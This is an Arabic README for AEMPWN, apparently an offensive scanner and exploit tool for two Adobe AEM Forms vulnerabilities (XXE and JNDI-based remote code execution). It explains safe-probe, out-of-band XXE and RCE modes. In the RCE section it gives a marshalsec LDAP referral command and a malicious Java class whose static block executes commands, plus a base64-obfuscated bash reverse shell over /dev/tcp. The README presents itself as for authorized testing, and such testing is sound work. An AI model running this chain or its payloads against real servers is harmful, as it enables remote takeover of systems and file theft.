AEMPWN

ماسح AEM Forms للثغرات CVE-2025-54253 وCVE-2025-54254

AEMPWN هو ماسح موجه لتحديد الثغرات عالية الخطورة في Adobe Experience Manager (AEM) Forms، مع دعم الكشف الآمن، والتأكيد الأعمى خارج النطاق (OOB)، وسير عمل التحقق الكامل من إثبات المفهوم (PoC). هذه الأداة مصممة لاختبارات الأمان المصرح بها فقط.

الثغرات المدعومة

CVE-2025-54253

تنفيذ تعليمات برمجية عن بُعد يعتمد على التهيئة في AEM Forms (JEE)

CVE-2025-54254

حقن كيان خارجي XML (XXE) يؤدي إلى كشف الملفات واحتمال التصعيد

أنماط التشغيل

يدعم AEMPWN ثلاثة أنماط تنفيذ لتتوافق مع سير عمل الباونتي والفرق الحمراء في العالم الحقيقي.

1. وضع PoC الآمن (--poc)

الغرض: تحديد سلوك تحليل XML غير الآمن وسطح الاستغلال المحتمل دون التسبب في سلوك مدمر.

ما يتحقق منه:

• انعكاس XML
• استجابات منظمة غير HTML
• انعكاس رمز الكناري
• مؤشرات على معالجة XML غير آمنة

استخدم عندما:

• تريد تحققًا منخفض الضوضاء
• لا تزال تقوم بتحديد نطاق التأثير
• تحتاج إلى إشارة آمنة قبل التصعيد هذا الوضع مناسب للفرز المبكر والتقارير الداخلية.

2. وضع OOB XXE (--oob)

الغرض: تأكيد XXE الأعمى عبر الطلبات الصادرة من خادم AEM.

توضيح مهم: Burp Collaborator (أو خدمات مماثلة) يراقب فقط الاتصالات الصادرة. لا تقوم بـ:

• استضافة ملفات DTD عشوائية
• تقديم حمولات ضارة
• إرجاع استجابات يتحكم فيها المهاجم
• دعم استغلال LDAP/JNDI

لهذا السبب، Collaborator وحده غير كافٍ للاستغلال الكامل لـ OOB XXE.

ما تحتاجه:

• خادم HTTP تتحكم فيه (VPS، مثيل سحابي، خادم محلي مع نفق، إلخ.)
• القدرة على تقديم ملف DTD
• القدرة على مراقبة طلبات HTTP الواردة ومعاملات الاستعلام

ما يثبته هذا:

• محلل XML يجلب كيانات خارجية
• الهدف يقوم بطلبات شبكة صادرة
• يمكن قراءة الملفات الحساسة المحلية وتسريبها

3. وضع RCE (--rce)

الغرض: إظهار تنفيذ فعلي للتعليمات البرمجية على خادم AEM لإظهار تأثير من المستوى P1.

يعتمد هذا الوضع على حقن JNDI عبر تحليل XML، الأمر الذي يتطلب بنية تحتية تتجاوز استدعاءات HTTP.

ما تحتاجه:

• خادم LDAP قيد التشغيل قادر على تقديم مرجع فئة Java
• خادم HTTP يستضيف فئة Java مترجمة
• بدائية تنفيذ مسيطر عليها (مثل إنشاء ملف، استدعاء خارجي)

لماذا LDAP مطلوب:

• محلل XML يحاول حل مرجع JNDI
• يتسبب ذلك في اتصال خادم AEM بمستمع LDAP الخاص بك
• يشير رد LDAP إلى فئة Java
• يتم تحميل الفئة وتنفيذها بواسطة JVM

أفضل أداة: marshalsec

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-server/#Exploit" 1389

http://your-server/#Exploit = خادم HTTP يقدم Exploit.class (فئة ضارة مترجمة).

مثال على فئة ضارة (لمسة بسيطة /tmp/pwned أو شل عكسية):

import java.io.IOException;
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("touch /tmp/pwned");
            // or reverse shell: Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}");
        } catch (IOException e) {}
    }
}

قم بالتجميع ← استضافة على خادم HTTP (نفس DTD أو منفصل). عندما يحلل AEM الكيان ← يتصل بـ LDAP الخاص بك ← يجلب الفئة ← ينفذ التعليمات البرمجية.

القيود الرئيسية:

لا يمكن لـ Burp Collaborator:

• تقديم استجابات LDAP
• استضافة فئات Java
• تشغيل تحميل الفئة المستند إلى JNDI لهذا السبب، لا يمكن وضع RCE العمل بدون خدمة LDAP حقيقية.

حول Burp Collaborator

Burp Collaborator (والمنصات المماثلة) مفيدة فقط للكشف.

يمكنها تأكيد:

• عمليات بحث DNS
• استدعاءات HTTP أو HTTPS
• الاتصال الأعمى الصادر

لا يمكنها:

• استضافة ملفات DTD
• معالجة محتويات الملفات المسربة
• تقديم فئات Java
• دعم استغلال JNDI أو LDAP

استخدم Collaborator للمراقبة، وليس لتسليم الحمولات.

المخرجات

تتم كتابة النتائج المؤكدة في ملف مخرجات (الافتراضي: aem-forms-scan.txt) وتتضمن:

• عنوان URL الأساسي للهدف
• نقطة النهاية المتأثرة
• إشارات الكشف الملاحظة
• مؤشرات خاصة بالوضع
• مناسبة لـ Video-PoC